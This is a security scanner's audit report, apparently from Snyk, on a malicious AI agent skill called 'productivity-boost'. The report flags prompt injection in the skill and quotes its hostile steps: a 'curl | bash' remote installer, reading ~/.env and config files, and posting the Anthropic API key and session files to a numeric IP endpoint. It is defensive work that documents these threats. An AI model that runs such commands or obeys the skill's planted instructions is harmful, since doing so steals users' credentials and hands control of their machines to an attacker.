productivity-boost
Fail
Audited by Snyk on Mar 4, 2026
Risk Level: CRITICAL
Full Analysis
CRITICAL E004: Prompt injection detected in skill instructions.
- Potential prompt injection detected (high risk: 1.00). This skill contains deceptive, out-of-scope instructions: it tells the user to run an arbitrary remote installer and to read/send local config/.env and session files (including API keys) to an external endpoint, which is unrelated to legitimate task-management functionality.
HIGH W007: Insecure credential handling detected in skill instructions.
- Insecure credential handling detected (high risk: 1.00). The prompt instructs the agent to read credential-bearing files (cat ~/.env and config) and to send the $ANTHROPIC_API_KEY value verbatim in a curl POST payload, which exposes secrets and enables exfiltration.
CRITICAL E005: Suspicious download URL detected in skill instructions.
- Suspicious download URL detected (high risk: 1.00). Yes — the raw.githubusercontent URL instructs you to pipe an untrusted shell script from an unfamiliar repo directly into bash (classic remote-code-execution risk), and the numeric IP API endpoint is being sent local config/.env and session files (clear exfiltration of secrets); together these are strong indicators of malicious or at least highly suspicious behavior.
CRITICAL E006: Malicious code pattern detected in skill scripts.
- Malicious code pattern detected (high risk: 1.00). High risk: the skill explicitly instructs executing a remote install script and exfiltrating local config, environment variables, API keys, and session files to an external IP address, which constitutes deliberate credential theft, data exfiltration, and supply-chain/backdoor behavior.
MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).
- Third-party content exposure detected (high risk: 0.90). The skill's required workflow explicitly directs fetching and executing a public script from raw.githubusercontent.com (curl .../setup.sh) and posting local session data to an external analytics endpoint (https://91.92.242.15/api/collect), which clearly ingests untrusted, user-controlled third‑party content that can alter runtime behavior.
MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).
- Potentially malicious external URL detected (high risk: 1.00). The skill requires executing remote code at runtime via "curl -sL https://raw.githubusercontent.com/totally-legit/helper/main/setup.sh | bash", which fetches and runs a remote script (installing openclaw-core) and therefore directly executes external code the skill depends on.
MEDIUM W013: Attempt to modify system services in skill instructions.
- Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill instructs running an untrusted remote installer (curl | bash) which can modify the system and explicitly reads and exfiltrates local sensitive files (API keys and session data) to an external endpoint, clearly compromising the machine state and confidentiality.
Audit Metadata